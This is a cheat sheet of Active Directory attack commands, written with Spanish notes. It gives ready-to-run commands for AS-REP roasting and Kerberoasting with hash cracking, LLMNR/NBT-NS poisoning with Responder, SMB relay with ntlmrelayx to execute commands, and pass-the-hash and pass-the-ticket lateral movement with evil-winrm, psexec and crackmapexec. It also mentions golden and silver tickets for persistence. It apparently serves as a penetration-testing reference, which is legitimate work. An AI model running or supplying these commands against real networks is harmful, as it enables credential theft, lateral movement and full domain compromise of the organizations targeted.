Active Directory Exploitation Attacks
1. Kerberos Attacks (Roasting)
AS-REP Roasting (Usuarios sin Pre-Auth):
Si un usuario tiene Do not require Kerberos preauthentication, podemos pedir su ticket y crackearlo.
# Identificar y pedir hash
impacket-GetNPUsers -dc-ip <IP_DC> -request 'dominio.local/' -usersfile users.txt -format hashcat -outputfile asrep.hashes
# Crackear
hashcat -m 18200 asrep.hashes rockyou.txt
Kerberoasting (Service Accounts): Pedir tickets TGS de servicios (SPN) para crackearlos.
# Desde Linux (Impacket)
impacket-GetUserSPNs -request -dc-ip <IP_DC> 'dominio.local/usuario:password' -outputfile kerberoast.hashes
# Desde Windows (Rubeus)
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Crackear
hashcat -m 13100 kerberoast.hashes rockyou.txt
2. NTLM Relay & Poisoning
Responder (LLMNR/NBT-NS Poisoning): Captura hashes NTLMv2 de la red.
# 1. Editar /etc/responder/Responder.conf (SMB=Off, HTTP=Off para Relay)
# 2. Iniciar
responder -I eth0 -dwv
SMB Relay (ntlmrelayx): Reenvía las credenciales capturadas a otras máquinas para ejecutar comandos (requiere SMB Signing desactivado).
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
3. Movimiento Lateral (Teniendo credenciales/hashes)
Pass-The-Hash (PtH):
Si tienes el hash NTLM (LM:NT) de un admin.
# Evil-WinRM
evil-winrm -i <IP> -u Administrator -H <HASH_NT>
# Impacket Psexec
impacket-psexec -hashes :<HASH_NT> Administrator@<IP>
# CrackMapExec (Spray the hash)
crackmapexec smb <CIDR> -u Administrator -H <HASH_NT>
Pass-The-Ticket (PtT):
Si tienes un ticket .kirbi o .ccache (ej: robado con Mimikatz).
export KRB5CCNAME=/tmp/ticket.ccache
impacket-psexec -k -no-pass dominio.local/Administrator@<IP_TARGET>
Silver & Golden Tickets: Crear tickets falsos para persistencia total.
- Golden: Requiere hash
krbtgt. Acceso total al dominio. - Silver: Requiere hash del servicio. Acceso a un servicio específico.